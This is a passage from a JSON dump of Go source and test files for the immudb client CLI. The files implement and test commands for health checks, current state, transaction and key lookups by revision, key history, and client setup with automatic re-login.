{\n\t\tfmt.Println(cmd.Aliases)\n\t\tif strings.HasPrefix(err.Error(), \"unknown command\") {\n\t\t\tos.Exit(0)\n\t\t}\n\t\tc.QuitWithUserError(err)\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/currentstatus.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) DatabaseHealth(args []string) (string, error) {\n\tctx := context.Background()\n\tstate, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Health(ctx)\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\treturn PrintHealth(state.(*schema.DatabaseHealthResponse)), nil\n}\n\nfunc (i *immuc) CurrentState(args []string) (string, error) {\n\tctx := context.Background()\n\tstate, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.CurrentState(ctx)\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\treturn PrintState(state.(*schema.ImmutableState)), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/currentstatus_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc TestCurrentRootErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\terrCurrentRoot := errors.New(\"CurrentRoot error\")\n\timmuClientMock.CurrentRootF = func(ctx context.Context) (*schema.Root, error) {\n\t\treturn nil, errCurrentRoot\n\t}\n\tic := new(immuc)\n\tic.ImmuClient = immuClientMock\n\t_, err := ic.CurrentRoot(nil)\n\trequire.ErrorIs(t, err, errCurrentRoot)\n\n\trpcErrMsg := \"CurrentRoot RPC error\"\n\trpcErr := status.New(codes.Internal, rpcErrMsg).Err()\n\timmuClientMock.CurrentRootF = func(ctx context.Context) (*schema.Root, error) {\n\t\treturn nil, rpcErr\n\t}\n\tresp, err := ic.CurrentRoot(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" CurrentRoot RPC error\", resp)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/currentstatus_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc setupTest(t *testing.T) *test.ClientTest {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tts := tokenservice.NewInmemoryTokenService()\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\n\tic.Connect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\treturn ic\n}\n\nfunc TestCurrentRoot(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.VerifiedSet([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.CurrentState([]string{\"\"})\n\trequire.NoError(t, err, \"CurrentState fail\")\n\trequire.Contains(t, msg, \"hash\", \"CurrentState failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/getcommands.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nvar (\n\terrZeroTxID = errors.New(\"tx id cannot be 0 (should be bigger than 0)\")\n)\n\nfunc (i *immuc) GetTxByID(args []string) (string, error) {\n\tid, err := strconv.ParseUint(args[0], 10, 64)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\" \\\"%v\\\" is not a valid id number\", args[0])\n\t}\n\tif id == 0 {\n\t\treturn \"\", errZeroTxID\n\t}\n\n\tctx := context.Background()\n\ttx, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.TxByID(ctx, id)\n\t})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"NotFound\") {\n\t\t\treturn fmt.Sprintf(\"no item exists in id:%v\", id), nil\n\t\t}\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\treturn PrintTx(tx.(*schema.Tx), false), nil\n}\n\nfunc (i *immuc) VerifiedGetTxByID(args []string) (string, error) {\n\tid, err := strconv.ParseUint(args[0], 10, 64)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\" \\\"%v\\\" is not a valid id number\", args[0])\n\t}\n\tif id == 0 {\n\t\treturn \"\", errZeroTxID\n\t}\n\n\tctx := context.Background()\n\ttx, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.VerifiedTxByID(ctx, id)\n\t})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"NotFound\") {\n\t\t\treturn fmt.Sprintf(\"no item exists in id:%v\", id), nil\n\t\t}\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\treturn PrintTx(tx.(*schema.Tx), true), nil\n}\n\nfunc (i *immuc) parseKeyArg(arg string) (key []byte, revision int64, hasRevision bool, err error) {\n\tif i.options.revisionSeparator == \"\" {\n\t\t// No revision separator - argument is the key\n\t\treturn []byte(arg), 0, false, nil\n\t}\n\n\tidx := strings.LastIndex(arg, i.options.revisionSeparator)\n\tif idx < 0 {\n\t\t// No revision separator in the argument - that's a key without revision\n\t\treturn []byte(arg), 0, false, nil\n\t}\n\n\tkey = []byte(arg[:idx])\n\trevisionStr := arg[idx+len(i.options.revisionSeparator):]\n\n\trevision, err = strconv.ParseInt(revisionStr, 10, 64)\n\tif err != nil {\n\t\treturn nil, 0, false, fmt.Errorf(\"Invalid key revision number - not an integer: %w\", err)\n\t}\n\n\treturn key, revision, true, nil\n}\n\nfunc (i *immuc) Get(args []string) (string, error) {\n\tkey, atRevision, _, err := i.parseKeyArg(args[0])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Get(ctx, key, client.AtRevision(atRevision))\n\t})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"NotFound\") {\n\t\t\treturn fmt.Sprintf(\"key not found: %v \", string(key)), nil\n\t\t}\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tentry := response.(*schema.Entry)\n\treturn PrintKV(entry, false, i.options.valueOnly), nil\n}\n\nfunc (i *immuc) VerifiedGet(args []string) (string, error) {\n\tkey, atRevision, _, err := i.parseKeyArg(args[0])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.VerifiedGet(ctx, key, client.AtRevision(atRevision))\n\t})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"NotFound\") {\n\t\t\treturn fmt.Sprintf(\"key not found: %v \", string(key)), nil\n\t\t}\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tentry := response.(*schema.Entry)\n\treturn PrintKV(entry, true, i.options.valueOnly), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/getcommands_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc TestGetCommandsErrors(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tic := new(immuc)\n\tic.ImmuClient = immuClientMock\n\n\t// GetByIndex\n\t_, err := ic.GetByIndex([]string{\"X\"})\n\trequire.ErrorIs(t, err, errors.New(` \"X\" is not a valid index number`))\n\n\timmuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) {\n\t\treturn nil, errors.New(\"NotFound\")\n\t}\n\tresp, err := ic.GetByIndex([]string{\"0\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"no item exists in index:0\", resp)\n\n\timmuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) {\n\t\treturn nil, status.New(codes.Internal, \"ByIndex RPC error\").Err()\n\t}\n\tresp, err = ic.GetByIndex([]string{\"0\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" ByIndex RPC error\", resp)\n\n\terrByIndex := errors.New(\"ByIndex error\")\n\timmuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) {\n\t\treturn nil, errByIndex\n\t}\n\t_, err = ic.GetByIndex([]string{\"0\"})\n\trequire.ErrorIs(t, err, errByIndex)\n\n\t// GetKey\n\timmuClientMock.GetF = func(ctx context.Context, key []byte) (*schema.StructuredItem, error) {\n\t\treturn nil, errors.New(\"NotFound\")\n\t}\n\tresp, err = ic.GetKey([]string{\"key1\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"key not found: key1 \", resp)\n\n\timmuClientMock.GetF = func(ctx context.Context, key []byte) (*schema.StructuredItem, error) {\n\t\treturn nil, status.New(codes.Internal, \"Get RPC error\").Err()\n\t}\n\tresp, err = ic.GetKey([]string{\"key1\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" Get RPC error\", resp)\n\n\terrGet := errors.New(\"Get error\")\n\timmuClientMock.GetF = func(ctx context.Context, key []byte) (*schema.StructuredItem, error) {\n\t\treturn nil, errGet\n\t}\n\t_, err = ic.GetKey([]string{\"key1\"})\n\trequire.ErrorIs(t, err, errGet)\n\n\t// RawSafeGetKey\n\timmuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, errors.New(\"NotFound\")\n\t}\n\tresp, err = ic.RawSafeGetKey([]string{\"key1\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"key not found: key1 \", resp)\n\n\timmuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, status.New(codes.Internal, \"RawSafeGet RPC error\").Err()\n\t}\n\tresp, err = ic.RawSafeGetKey([]string{\"key1\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" RawSafeGet RPC error\", resp)\n\n\terrRawSafeGet := errors.New(\"RawSafeGet error\")\n\timmuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, errRawSafeGet\n\t}\n\t_, err = ic.RawSafeGetKey([]string{\"key1\"})\n\trequire.ErrorIs(t, err, errRawSafeGet)\n\n\t// SafeGetKey\n\timmuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, errors.New(\"NotFound\")\n\t}\n\tresp, err = ic.SafeGetKey([]string{\"key1\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"key not found: key1 \", resp)\n\n\timmuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, status.New(codes.Internal, \"SafeGet RPC error\").Err()\n\t}\n\tresp, err = ic.SafeGetKey([]string{\"key1\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" SafeGet RPC error\", resp)\n\n\terrSafeGet := errors.New(\"SafeGet error\")\n\timmuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) {\n\t\treturn nil, errSafeGet\n\t}\n\t_, err = ic.SafeGetKey([]string{\"key1\"})\n\trequire.ErrorIs(t, err, errSafeGet)\n\n\t// GetRawBySafeIndex\n\t_, err = ic.GetRawBySafeIndex([]string{\"X\"})\n\trequire.Error(t, err)\n\n\terrRawBySafeIndex := errors.New(\"RawBySafeIndex error\")\n\timmuClientMock.RawBySafeIndexF = func(context.Context, uint64) (*client.VerifiedItem, error) {\n\t\treturn nil, errRawBySafeIndex\n\t}\n\t_, err = ic.GetRawBySafeIndex([]string{\"0\"})\n\trequire.ErrorIs(t, err, errRawBySafeIndex)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/getcommands_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetTxByID(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.VerifiedSet([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.GetTxByID([]string{\"1\"})\n\trequire.NoError(t, err, \"GetByIndex fail\")\n\trequire.Contains(t, msg, \"hash\", \"GetByIndex failed\")\n}\nfunc TestGet(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.Set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.Get([]string{\"key\"})\n\trequire.NoError(t, err, \"GetKey fail\")\n\trequire.Contains(t, msg, \"value\", \"GetKey failed\")\n}\n\nfunc TestVerifiedGet(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.Set([]string{\"key\", \"val\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.VerifiedGet([]string{\"key\"})\n\trequire.NoError(t, err, \"VerifiedGet fail\")\n\trequire.Contains(t, msg, \"value\", \"VerifiedGet failed\")\n}\n\nfunc TestGetByRevision(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.Set([]string{\"key\", \"value1\"})\n\trequire.NoError(t, err)\n\n\t_, err = ic.Imc.Set([]string{\"key\", \"value2\"})\n\trequire.NoError(t, err)\n\n\t_, err = ic.Imc.Set([]string{\"key\", \"value3\"})\n\trequire.NoError(t, err)\n\n\tmsg, err := ic.Imc.Get([]string{\"key@1\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value1\")\n\n\tmsg, err = ic.Imc.Get([]string{\"key@2\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value2\")\n\n\tmsg, err = ic.Imc.Get([]string{\"key@3\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value3\")\n\n\tmsg, err = ic.Imc.Get([]string{\"key@0\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value3\")\n\n\tmsg, err = ic.Imc.Get([]string{\"key@-0\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value3\")\n\n\tmsg, err = ic.Imc.Get([]string{\"key@-1\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value2\")\n\n\tmsg, err = ic.Imc.Get([]string{\"key@-2\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"value1\")\n\n\t_, err = ic.Imc.Get([]string{\"key@notarevision\"})\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/history.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) History(args []string) (string, error) {\n\tkey := []byte(args[0])\n\tctx := context.Background()\n\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.History(ctx, &schema.HistoryRequest{\n\t\t\tKey: key,\n\t\t})\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tstr := strings.Builder{}\n\n\tentries := response.(*schema.Entries)\n\tif len(entries.Entries) == 0 {\n\t\tstr.WriteString(\"No item found \\n\")\n\t\treturn str.String(), nil\n\t}\n\n\tfor j, entry := range entries.Entries {\n\t\tif j > 0 {\n\t\t\tstr.WriteString(\"\\n\")\n\t\t}\n\t\tstr.WriteString(PrintKV(entry, false, false))\n\t}\n\n\treturn str.String(), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/history_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHistory(t *testing.T) {\n\tic := setupTest(t)\n\n\tmsg, err := ic.Imc.History([]string{\"key\"})\n\trequire.NoError(t, err, \"History fail\")\n\trequire.Contains(t, msg, \"key not found\", \"History fail\")\n\n\t_, err = ic.Imc.Set([]string{\"key\", \"value\"})\n\trequire.NoError(t, err, \"History fail\")\n\tmsg, err = ic.Imc.History([]string{\"key\"})\n\trequire.NoError(t, err, \"History fail\")\n\trequire.Contains(t, msg, \"value\", \"History fail\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/init.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/viper\"\n\t\"google.golang.org/grpc/status\"\n)\n\ntype immuc struct {\n\tImmuClient client.ImmuClient\n\toptions    *Options\n\tisLoggedin bool\n}\n\n// Client ...\ntype Client interface {\n\tConnect(args []string) error\n\tDisconnect(args []string) error\n\tExecute(f func(immuClient client.ImmuClient) (interface{}, error)) (interface{}, error)\n\tServerInfo(args []string) (string, error)\n\tHealthCheck(args []string) (string, error)\n\tDatabaseHealth(args []string) (string, error)\n\tCurrentState(args []string) (string, error)\n\tGetTxByID(args []string) (string, error)\n\tVerifiedGetTxByID(args []string) (string, error)\n\tGet(args []string) (string, error)\n\tVerifiedGet(args []string) (string, error)\n\tLogin(args []string) (string, error)\n\tLogout(args []string) (string, error)\n\tHistory(args []string) (string, error)\n\tSetReference(args []string) (string, error)\n\tVerifiedSetReference(args []string) (string, error)\n\tZScan(args []string) (string, error)\n\tScan(args []string) (string, error)\n\tCount(args []string) (string, error)\n\tSet(args []string) (string, error)\n\tRestore(args []string) (string, error)\n\tVerifiedSet(args []string) (string, error)\n\tDeleteKey(args []string) (string, error)\n\tZAdd(args []string) (string, error)\n\tVerifiedZAdd(args []string) (string, error)\n\tCreateDatabase(args []string) (string, error)\n\tDatabaseList(args []string) (string, error)\n\tUseDatabase(args []string) (string, error)\n\tUserCreate(args []string) (string, error)\n\tSetActiveUser(args []string, active bool) (string, error)\n\tSetUserPermission(args []string) (string, error)\n\tUserList(args []string) (string, error)\n\tChangeUserPassword(args []string) (string, error)\n\tValueOnly() bool     // TODO: ?\n\tSetValueOnly(v bool) // TODO: ?\n\tSQLExec(args []string) (string, error)\n\tSQLQuery(args []string) (string, error)\n\tListTables() (string, error)\n\tDescribeTable(args []string) (string, error)\n\n\tWithFileTokenService(tkns tokenservice.TokenService) Client\n}\n\n// Init ...\nfunc Init(opts *Options) (*immuc, error) {\n\tic := new(immuc)\n\tic.options = opts\n\treturn ic, nil\n}\n\nfunc (i *immuc) Connect(args []string) (err error) {\n\tif i.ImmuClient, err = client.NewImmuClient(i.options.immudbClientOptions); err != nil {\n\t\treturn err\n\t}\n\ti.WithFileTokenService(tokenservice.NewFileTokenService())\n\ti.options.immudbClientOptions.Auth = true\n\n\treturn nil\n}\n\nfunc (i *immuc) Disconnect(args []string) error {\n\tif err := i.ImmuClient.Disconnect(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (i *immuc) Execute(f func(immuClient client.ImmuClient) (interface{}, error)) (interface{}, error) {\n\tr, err := f(i.ImmuClient)\n\tif err == nil {\n\t\treturn r, nil\n\t}\n\n\tneedsLogin := strings.Contains(err.Error(), \"token has expired\") ||\n\t\tstrings.Contains(err.Error(), \"not logged in\") ||\n\t\tstrings.Contains(err.Error(), \"please select a database first\")\n\tif !needsLogin ||\n\t\tlen(i.ImmuClient.GetOptions().Username) == 0 ||\n\t\tlen(i.ImmuClient.GetOptions().Password) == 0 {\n\t\treturn nil, err\n\t}\n\n\t_, err = i.Login(nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error during automatic (re)login: %v\", err)\n\t}\n\tif len(i.options.immudbClientOptions.Database) > 0 {\n\t\tif _, err := i.UseDatabase(nil); err != nil {\n\t\t\tgRPCStatus, ok := status.FromError(err)\n\t\t\tif ok {\n\t\t\t\terr = errors.New(gRPCStatus.Message())\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"error using database %s after automatic (re)login: %v\", i.options.immudbClientOptions.Database, err)\n\t\t}\n\t}\n\n\treturn f(i.ImmuClient)\n}\n\nfunc (i *immuc) ValueOnly() bool {\n\treturn i.options.valueOnly\n}\n\nfunc (i *immuc) SetValueOnly(v bool) {\n\ti.options.WithValueOnly(v)\n}\n\nfunc (i *immuc) WithFileTokenService(tkns tokenservice.TokenService) Client {\n\tif i.ImmuClient != nil {\n\t\ti.ImmuClient.WithTokenService(tkns)\n\t}\n\treturn i\n}\n\nfunc OptionsFromEnv() *Options {\n\tpassword, _ := auth.DecodeBase64Password(viper.GetString(\"password\"))\n\timmudbOptions := client.DefaultOptions().\n\t\tWithPort(viper.GetInt(\"immudb-port\")).\n\t\tWithAddress(viper.GetString(\"immudb-address\")).\n\t\tWithUsername(viper.GetString(\"username\")).\n\t\tWithPassword(password).\n\t\tWithDatabase(viper.GetString(\"database\")).\n\t\tWithTokenFileName(viper.GetString(\"tokenfile\")).\n\t\tWithMTLs(viper.GetBool(\"mtls\")).\n\t\tWithServerSigningPubKey(viper.GetString(\"server-signing-pub-key\"))\n\n\tif viper.GetBool(\"mtls\") {\n\t\t// todo https://golang.org/src/crypto/x509/root_linux.go\n\t\timmudbOptions.WithMTLsOptions(\n\t\t\tclient.DefaultMTLsOptions().\n\t\t\t\tWithServername(viper.GetString(\"servername\")).\n\t\t\t\tWithCertificate(viper.GetString(\"certificate\")).\n\t\t\t\tWithPkey(viper.GetString(\"pkey\")).\n\t\t\t\tWithClientCAs(viper.GetString(\"clientcas\")),\n\t\t)\n\t}\n\n\topts := (&Options{}).\n\t\tWithImmudbClientOptions(immudbOptions).\n\t\tWithValueOnly(viper.GetBool(\"value-only\")).\n\t\tWithRevisionSeparator(viper.GetString(\"revision-separator\"))\n\n\treturn opts\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/init_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"testing\"\n\n\t\"github.com/spf13/viper\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInitErrors(t *testing.T) {\n\tdefer viper.Reset()\n\n\tic := immuc{\n\t\toptions: &Options{},\n\t}\n\n\tviper.Set(\"mtls\", true)\n\tOptionsFromEnv()\n\tviper.Set(\"mtls\", false)\n\n\tic.SetValueOnly(true)\n\trequire.True(t, ic.ValueOnly())\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/init_test.go",
